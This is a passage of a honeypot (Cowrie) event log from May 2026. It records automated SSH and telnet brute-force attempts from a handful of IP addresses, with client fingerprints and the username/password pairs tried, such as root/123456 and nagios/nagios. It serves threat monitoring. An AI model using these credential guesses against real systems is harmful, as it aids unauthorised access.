sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:21.762409Z","src_ip":"176.65.132.254","session":"99a5b6d25bc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"123456","message":"login attempt [root2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:22.399907Z","src_ip":"176.65.132.254","session":"99a5b6d25bc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:23.484947Z","src_ip":"176.65.132.254","session":"99a5b6d25bc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54430,"dst_ip":"10.17.0.5","dst_port":22,"session":"e34b20d4cd76","protocol":"ssh","message":"New connection: 176.65.132.254:54430 (10.17.0.5:22) [session: e34b20d4cd76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:25.939492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:25.952358Z","src_ip":"176.65.132.254","session":"e34b20d4cd76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:26.141447Z","src_ip":"176.65.132.254","session":"e34b20d4cd76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:26.640236Z","src_ip":"176.65.132.254","session":"e34b20d4cd76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:27.739033Z","src_ip":"176.65.132.254","session":"e34b20d4cd76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.89389181137085,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:28.397785Z","src_ip":"134.209.8.29","session":"4fa8f0df4da3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54448,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbcdc501cd3f","protocol":"ssh","message":"New connection: 176.65.132.254:54448 (10.17.0.5:22) [session: dbcdc501cd3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:30.440060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:30.446435Z","src_ip":"176.65.132.254","session":"dbcdc501cd3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:30.543709Z","src_ip":"176.65.132.254","session":"dbcdc501cd3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:30.927995Z","src_ip":"176.65.132.254","session":"dbcdc501cd3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":12004,"dst_ip":"10.17.0.5","dst_port":22,"session":"37a51d52098d","protocol":"ssh","message":"New connection: 94.156.152.18:12004 (10.17.0.5:22) [session: 37a51d52098d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:31.317942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:31.326954Z","src_ip":"94.156.152.18","session":"37a51d52098d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44810,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ea6a585943f","protocol":"telnet","message":"New connection: 38.54.119.93:44810 (10.17.0.5:23) [session: 2ea6a585943f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:31.417485Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:31.456077Z","src_ip":"94.156.152.18","session":"37a51d52098d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEEN4VCPU8GBAMD","message":"login attempt [root/QUEEN4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:31.837942Z","src_ip":"94.156.152.18","session":"37a51d52098d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:32.013345Z","src_ip":"176.65.132.254","session":"dbcdc501cd3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:32.967666Z","src_ip":"94.156.152.18","session":"37a51d52098d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.05073094367981,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:34.455852Z","src_ip":"181.174.211.66","session":"22c8a038ca25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41568,"dst_ip":"10.17.0.5","dst_port":22,"session":"505f5214a783","protocol":"ssh","message":"New connection: 176.65.132.254:41568 (10.17.0.5:22) [session: 505f5214a783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:34.883610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:34.889540Z","src_ip":"176.65.132.254","session":"505f5214a783","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:34.974146Z","src_ip":"176.65.132.254","session":"505f5214a783","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:35.692102Z","src_ip":"176.65.132.254","session":"505f5214a783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.754058122634888,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:36.171440Z","src_ip":"38.54.119.93","session":"2ea6a585943f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:36.777723Z","src_ip":"176.65.132.254","session":"505f5214a783","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41570,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3c760b36c7c","protocol":"ssh","message":"New connection: 176.65.132.254:41570 (10.17.0.5:22) [session: e3c760b36c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:39.351698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:39.356096Z","src_ip":"176.65.132.254","session":"e3c760b36c7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:39.441621Z","src_ip":"176.65.132.254","session":"e3c760b36c7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:39.738618Z","src_ip":"176.65.132.254","session":"e3c760b36c7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:40.858438Z","src_ip":"176.65.132.254","session":"e3c760b36c7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.350000858306885,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:41.094460Z","src_ip":"134.209.8.29","session":"e0f955b349bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":43186,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cb678444ef7","protocol":"telnet","message":"New connection: 134.209.8.29:43186 (159.203.135.109:23) [session: 4cb678444ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:41.355985Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37740,"dst_ip":"10.17.0.5","dst_port":22,"session":"88225398a177","protocol":"ssh","message":"New connection: 176.65.132.254:37740 (10.17.0.5:22) [session: 88225398a177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:43.739955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:43.744127Z","src_ip":"176.65.132.254","session":"88225398a177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:43.842296Z","src_ip":"176.65.132.254","session":"88225398a177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:44.143634Z","src_ip":"176.65.132.254","session":"88225398a177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":43194,"dst_ip":"159.203.135.109","dst_port":23,"session":"c19d1f3361f4","protocol":"telnet","message":"New connection: 134.209.8.29:43194 (159.203.135.109:23) [session: c19d1f3361f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:44.194774Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:45.338151Z","src_ip":"176.65.132.254","session":"88225398a177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37746,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e03c4ac00c7","protocol":"ssh","message":"New connection: 176.65.132.254:37746 (10.17.0.5:22) [session: 4e03c4ac00c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:48.086994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:48.093022Z","src_ip":"176.65.132.254","session":"4e03c4ac00c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:48.175513Z","src_ip":"176.65.132.254","session":"4e03c4ac00c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:48.445628Z","src_ip":"176.65.132.254","session":"4e03c4ac00c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.59606051445007,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:49.119763Z","src_ip":"165.232.131.181","session":"d415b6799792","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:49.547532Z","src_ip":"176.65.132.254","session":"4e03c4ac00c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48528,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d49290d50ac","protocol":"ssh","message":"New connection: 176.65.132.254:48528 (10.17.0.5:22) [session: 8d49290d50ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:52.629178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:52.634517Z","src_ip":"176.65.132.254","session":"8d49290d50ac","protocol":"ssh"}
